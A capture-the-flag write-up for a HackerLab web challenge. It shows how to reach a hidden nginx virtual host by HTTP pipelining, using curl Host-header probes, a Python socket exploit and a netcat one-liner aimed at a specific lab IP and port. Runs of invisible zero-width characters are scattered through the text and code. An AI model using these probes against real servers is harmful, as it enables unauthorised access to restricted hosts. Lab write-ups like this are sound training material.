Контрабанда (Smuggling)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Hidden virtual host access via connection reuse, HTTP Pipelining (multiple requests in single TCP connection), Source code analysis for domain hints, Virtual host enumeration via Host header

Summary

Task: Access hidden virtual host on nginx server. Solution: HTTP pipelining attack - send two requests in single TCP connection, first to public site, second to hidden vhost wallets.cdb discovered via email hint in source code.

Контрабанда (Smuggling) — HackerLab

Description

"Что это у Вас? HTTP-запросы? Кажется один лишний!"

The task name "Контрабанда" (smuggling) and the description about an "extra request" hint at the HTTP Request Smuggling/Pipelining technique.

Analysis

Reconnaissance

1. Server: nginx/1.17.6
2. Content: Static BitCYPO site (cryptocurrency template)
3. POST requests: Return 405 Not Allowed
4. Hint in source code: Email admin@wallets.cdb points to a virtual host

Virtual Host Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When testing different Host header values:

 bash read-only • copy allowed Copy
# Public site (default server)
curl -H "Host: 62.173.140.174:16056" http://62.173.140.174:16056/
# → 200 OK (BitCYPO template)

# Hidden virtual host
curl -H "Host: wallets.cdb" http://62.173.140.174:16056/
# → 404 Not Found (separate virtual host!)

# Any other host
curl -H "Host: random.domain" http://62.173.140.174:16056/
# → 200 OK (default server)

Conclusion: wallets.cdb is a separate virtual host with restricted access.

HTTP Pipelining

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

nginx supports HTTP pipelining — the ability to send multiple HTTP requests in a single TCP connection without waiting for responses.

Key feature: nginx processes each request in the pipeline separately, using the Host header to route to the corresponding virtual host.

Solution

Exploitation

Send two requests in a single TCP connection:

1. First request — to the public site (to establish the connection)
2. Second request — to the hidden virtual host wallets.cdb at path /wallets

Exploit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
HTTP Pipelining attack to access hidden virtual host
"""
import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("62.173.140.174", 16056))
    
    # HTTP Pipelining - two requests in one connection
    req = "GET / HTTP/1.1\r\n"
    req += "Host: 62.173.140.174:16056\r\n"
    req += "\r\n"
    
    req += "GET /wallets HTTP/1.1\r\n"
    req += "Host: wallets.cdb\r\n"
    req += "\r\n"
    
    s.send(req.encode())
    
    # Receive both responses
    resp = s.recv(65536)
    print(resp.decode())
    
    s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Alternative with netcat

 bash read-only • copy allowed Copy
printf "GET / HTTP/1.1\r\nHost: 62.173.140.174:16056\r\n\r\nGET /wallets HTTP/1.1\r\nHost: wallets.cdb\r\n\r\n" | nc 62.173.140.174 16056

Result

The second response contains the flag from the wallets.cdb virtual host:

HTTP/1.1 200 OK
...
CODEBY{REDACTED}

Why This Works

1. HTTP/1.1 Keep-Alive: By default, the connection remains open for multiple requests
2. Pipelining: The client can send multiple requests without waiting for responses
3. Virtual Host Routing: nginx routes each request separately based on the Host header
4. Bypassing restrictions: Direct access to wallets.cdb may be blocked, but through pipelining in an existing connection — it works ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Related Techniques

• HTTP Request Smuggling (CL.TE, TE.CL) — more complex attacks on proxies
• Host Header Injection — Host header manipulation
• Virtual Host Enumeration — searching for hidden virtual hosts
• HTTP Desync Attacks — desynchronization between frontend and backend

References

• HTTP Request Smuggling - PortSwigger
• HTTP Pipelining - MDN
• nginx Virtual Hosts ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍